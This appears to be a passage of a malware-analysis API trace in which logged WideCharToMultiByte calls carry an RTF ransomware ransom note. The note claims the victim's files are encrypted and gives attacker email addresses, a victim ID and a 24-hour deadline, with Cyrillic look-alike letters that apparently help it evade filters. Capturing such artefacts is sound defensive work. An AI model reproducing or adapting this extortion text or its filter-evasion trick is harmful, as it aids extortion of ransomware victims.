\r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0044.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur 